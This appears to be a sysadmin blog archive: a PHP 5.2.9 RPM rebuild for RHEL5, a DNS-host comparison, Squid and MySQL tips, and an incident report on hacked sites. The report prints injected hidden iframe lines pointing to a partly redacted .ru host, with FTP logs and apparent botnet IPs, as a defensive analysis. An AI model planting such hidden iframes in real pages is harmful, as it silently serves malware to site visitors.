Latest version of PHP available for RHEL5.x is 5.1.6 and no new RedHat releases are coming as packaging has ceased. You can get PHP 5.3 for RHEL5 from Remi, but it it’s incompatible with latest versions of Drupal, Civicrm or many modules so we need the a 5.2X branch of PHP. This requires building php from source or using rpmbuild and source rpm. I was able to use Koji’s FC9 php5.2.9 src.rpm to rebuild for RHEL5 and here is how.

Install rpm-build package.

1

sudo yum install rpm-build

Create build env in your home directory (mine is called ‘max’), do NOT build as root user. I used ‘rpm’ directory as the build location.

1

mkdir -p rpm/{SOURCES,SRPMS,SPECS,BUILD,RPMS}

Create .rpmmacros file which will identify the build location.

1

echo "%_topdir /home/max/rpm" > .rpmmacros

Download php5.2.9 rpm source file, i used FC9 version as it is closest to RHEL5.

1

wget http://kojipkgs.fedoraproject.org/packages/php/5.2.9/1.fc9/src/php-5.2.9-1.fc9.src.rpm

To rebuild php5.2.9 FC9 source RPM for RHEL5.x into binary RPM’s we need to make sure build dependences have been satisfied. I created a file called “php-deps” which contains the build dependencies to be installed via YUM.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

bzip2-devel
curl-devel
db4-devel
gmp-devel
httpd-devel
pam-devel
libstdc++-devel
openssl-devel
sqlite-devel
zlib-devel
pcre-devel
readline-devel
libtool
gcc-c++
krb5-devel
libc-client-devel
cyrus-sasl-devel
openldap-devel
mysql-devel
postgresql-devel
unixODBC-devel
libxml2-devel
net-snmp-devel
libxslt-devel
libxml2-devel
mhash-devel
ncurses-devel
libXpm-devel
libjpeg-devel

Install build dependencies via yum

1

sudo yum install -y `cat php-deps`

Finally perform the build, this could take some time depending on speed of your machine. If everything goes well many php*.rpm files will be created in rpm/RPMS/”arch-type”/ folder. “arch-type” is the hardware-platform of your machine which will match “uname -i” command (mine is i386)

1

rpmbuild --rebuild php-5.2.9-1.fc9.src.rpm

Now you can install the resulting RPM’s manually but a better way is to create a local YUM repository. Install createrepo application via YUM.

1

sudo yum info createrepo

Create a repository location directory and copy your newly generated php5.2.9 RPM files into it.

1

sudo mkdir /opt/local-repository && cp /home/max/rpm/RPMS/i386/* /opt/local-repository

Initialize the local repository and catalog the files copied there. (run this command anytime you add/remove files from your local repository directory)

1

sudo createrepo /opt/local-repository/

Configure your local repository with yum by creating a file in /etc/yum.repos.d called “local-repository.repo” containing:

1
2
3
4
5
6

[local-repository]
name=RHEL5 $releasever - Local Repo
baseurl=file:///opt/local-repository/
enabled=0
gpgcheck=0
#gpgkey=file:///path/to/you/RPM-GPG-KEY

Update yum to register local repository

1

sudo yum update

Update php using your new rpm files via the local repository

1

sudo yum --enablerepo=local-repository update php

Restart apache

1

sudo /etc/init.d/httpd restart

Verify PHP version

1

php -v

I thought that at least 10% of our readers would appreciate this information - or at least be already aware of it.  For a more details and a full story - you can check out the apple.com investors section or the WSJ article.

Why 10%?  According to our analytics here is our visitors operating system breakdown is as follows:

Our top three visitors OS:

1) Windows 63%

2) Linux 26

3) Macintosh 10%

We’re drawing a different audience than the typical install base according to wikipedia.

A time comes when it makes more business sense to outsource DNS. While one can use a domain registrars to manage and host dns they do not always offer best performance or even offer SLA’s. We will compare a couple of companies that specialize at DNS hosting only.

DynDNS

• comprehensive services offerings
• no downtimes since inception (2001)
• worldwide DNS cluster
• multiplatform dynamic update clients with excellent documentation
• 29.95 per zone per year
• web interface
• SLA offerings options
• Bind based architecture

easyDNS

• unknown reliability
• worldwide DNS cluster
• multiplatform dynamic update clients
• priced at $19.99 per zone per year
• web interface
• no SLA offering
• Bind based architecture

Nettica

• unknown reliability
• mostly US based DNS cluster (1 location in UK)
• priced at $10 per zone per year
• 100$ SLA offering
• no linux update client, however dynamic ip updates can be done with curl call to their website
• web interface
• windows only API’s

Zoneedit

• Pioneer of hosted DNS
• Bad recent reliability
• Bind based architecture
• mostly US based DNS cluster (1 location in Germany)
• multiplatform dynamic update clients
• wide range of dynamic update clients (java, python, perl, direct calls to their website with wget), clients hosted on sourceforge with limited documentation
• host 5 domains for free, limited to 200meg query limit per domain(approx 1 million queries), additional options cost “zone credits @ $10.95 each” for services like additional domains, load balancing, monitoring, additional queries.

UltraDNS

• Very comprehensive list of offerings
• 15 worldwide nodes on 5 continents
• Protection against DNS based DDOS
• cross platform XML based API
• web portal
• 100% uptime SLA
• directory based architecture, using Oracle database replication technology. Not based on BIND
• $15 per month for 1 domain with 5 records and 5000 queries, overage costs are $1 per 1000 queries and 0.50 cents for per additional record.

Typically Squid caching proxy server listen and outgoing IP address are the same. Sometimes, for various reasons we want to alter the outgoing IP address. The new address must first be brought up as an interface on the squid server. In squid.conf look for tcp_outgoing_address line, uncomment it and replace the default IP value with your new outgoing ip address and restart Squid. Your Squid server will still listen and accept connections on the current IP while all outbound traffic will originate from the new IP. This modification works with access ACL and detailed instructions can be found here for latest stable branch (3.0)

So a sys admin, an architect and a project manager walk into a bar… so I wish this was a beginning of a good joke, but essentially that was the story last weekend and I want to share the delicous morsel of wisdom I have learned from the architect.

The project manager was asking the system admin to explain what is more important and what brings more performance improvement - server memory or faster CPU.  The system admin was doing a great job providing a technical explanation when unexpectedly the architect stepped in and provided a beatiful explanation.

In terms of server performance, the CPU is like the stove, and memor is like the having more pots.  Both can increase performance in a unique way.

Think about it.  Is there a better analogy out there?

While we are very busy administering servers, looking at cloud computing developments and improving drupal performance, we sometimes get some time to take a break and catch up on the news.   Well, this isnt exactly news, as its been out since spring 2009, but you will need some time to watch this video on google wave.

This is definitely a game changer.  The folks who are behind this are the brothers who brought us google earth.

So while this does not have much to do with linux servers, it is open source, and it does run on Java.   There is tons of info about this product - I would urge you to also check out this good wiki article on google wave.

The bottom line is that it will definitely change the way we will communicate, and it will have an impact on many open source OS and applications.

Now… if we only had a way to get an invite :)

One of our Drupal sites suddenly had this ”blank page” problem after user login.  So we turned on the PHP’s error reporting and got the ”allowed memory size of xxx bytes exhausted” error.  Usually this error is caused by memory limit for PHP so you just need to increase it from your php.ini file or _.htaaccess, _ but in our case we had our memory limit set already to 64Mb.   Check here for more details on how to increase PHP memory limit.

Upon further investigation, we found out that it was caused by a bug on our Watchdog module as we got ”Warning: Got a packet bigger than ‘max_allowed_packet’ bytes query: INSERT INTO watchdog (uid, type, message, variables…”.  You can fix this error by increasing MySQL’s max_allowed_packet (the default i think is 16MB).  You can do it directly from your my.cnf, add ”set-variable = max_allowed_packet=32M” (of course without qoutes :)) and restart you MySQL server. If you want to set this value temporarily, you can do it by logging in to your MySQL prompt and issue ”SET GLOBAL max_allowed_packet=32M;”.  You can check your current configuration by this command ”mysqladmin variables | grep packet”.  We set our max_allowed_packet to 32MB and our site went back to normal.

The reason why we experienced that error is because we originally had the max_allowed_packet set 32M temporarily and we rebooted our server so it returned to the default value.

The whole hidden IFRAME vulnerability has been going on for some time, only a few of our client have been effected by this. The net is still buzzing with this issue and while some are saying that the injection are results of php insecurities, mysql injection or cross site scripting, while others point to key loggers and hijacked ftp credentials. In our case the exploit was not due to an application vulnerability but rather to hijacked ftp login information. Brute force password guessing attacks were not performed on this account nor any other accounts on the same server. In this particular type of attack, at the very end of index.php/index.html an IFRAME statement was appended overwriting page closing tags.

1
2
3

iframe src="http://***.ru:8080/index.php" width=111 height=162 style="visibi
iframe src="http://***.ru:8080/index.php" width=136 height=162 style="visibility: hidden" /iframe
iframe src="http://***.ru:8080/index.php" width=141 height=156 style="visibility: hidden" /iframe

Some of the index.php files had multiple IFRAME statements appended to the end. Knowing the username of affected account and affected filename I searched in /var/log/messages for any related entries and hit jackpot:

1
2
3
4
5
6

Aug 27 01:27:59 web152 pure-ftpd: (?@94.218.69.243) [INFO] user is now logged in
Aug 27 01:28:00 web152 pure-ftpd: (user@94.218.69.243) [NOTICE] /home/user//public_html/index.php downloaded  (2311 bytes, 1001.70KB/sec)
Aug 27 01:28:00 web152 pure-ftpd: (user@94.218.69.243) [INFO] Logout.
Aug 27 01:28:04 web152 pure-ftpd: (?@78.92.144.185) [INFO] user is now logged in
Aug 27 01:28:05 web152 pure-ftpd: (user@78.92.144.185) [NOTICE] /home/user//public_html/index.php uploaded  (2353 bytes, 10.42KB/sec)
Aug 27 01:28:05 web152 pure-ftpd: (user@78.92.144.185) [INFO] Logout.

What’s interesting to note here is that even though downloading/uploading of index.php happens within a 6 second window, the source ip address for download and upload are not the same. During the next few days the same file is downloaded and uploaded but never from the same set of ip addresses. During the few days that I was allowing this to happen as I was monitoring said activity and collecting the IP addresses to see if a pattern emerges:

1
2
3
4
5
6
7
8
9
10
11
12
13

83.82.57.39 GeoIP Country Edition: NL, Netherlands
95.52.163.74 GeoIP Country Edition: RU, Russian Federation
189.122.164.40 GeoIP Country Edition: BR, Brazil
69.159.47.21 GeoIP Country Edition: CA, Canada
85.221.184.164 GeoIP Country Edition: PL, Poland
98.243.198.220 GeoIP Country Edition: US, United States
78.30.154.22 GeoIP Country Edition: RS, Serbia
77.81.33.229 GeoIP Country Edition: RO, Romania
83.6.73.91 GeoIP Country Edition: PL, Poland
190.198.3.27 GeoIP Country Edition: VE, Venezuela
75.208.130.92 GeoIP Country Edition: US, United States
68.84.202.157 GeoIP Country Edition: US, United States
75.80.81.104 GeoIP Country Edition: US, United States

Seeing that no clear pattern is evident here and considering that the IP address was different for each connection it is my rationale that the computer’s at these IP addresses were a part of a botnet. My assumption is that a developer had saved the account password and was infected by malicious software which was able to gather the ftp credentials.

Cleanup included restoring files and changing all account/ftp/email and database passwords.

If you are using a shared server, or just have a limited account on your company servers, you might not have access to your php configuration file php.ini (this is usually found under /etc/php.ini in rhel/centos and /etc/php5/apache2/php.ini in debian/ubuntu). Still, in many situations it might be needed to enable php errors in the browser so you can see what is the actual problem instead of an empty page (if the server has error reporting disabled as most production systems should have).

In order to enable error reporting for your php script or application include inside your code the following lines: error_reporting(E_ALL); ini_set("display_errors", 1); and this will result in displaying in the browser any errors your application might have.

ps: once you are done with this and fixed the issue, don’t forget to remove the error reporting lines, as we don’t want our users/clients to see errors in the browser in case something went wrong.

Problem: I got this error when installing hpacucli on Lenny and i can’t find it on my default repo.  Others have similar problem.

Solution: I just installed a package directly from packages.debian.org and this worked fine for my hpacucli in Lenny.

Any idea why this library is not included anymore?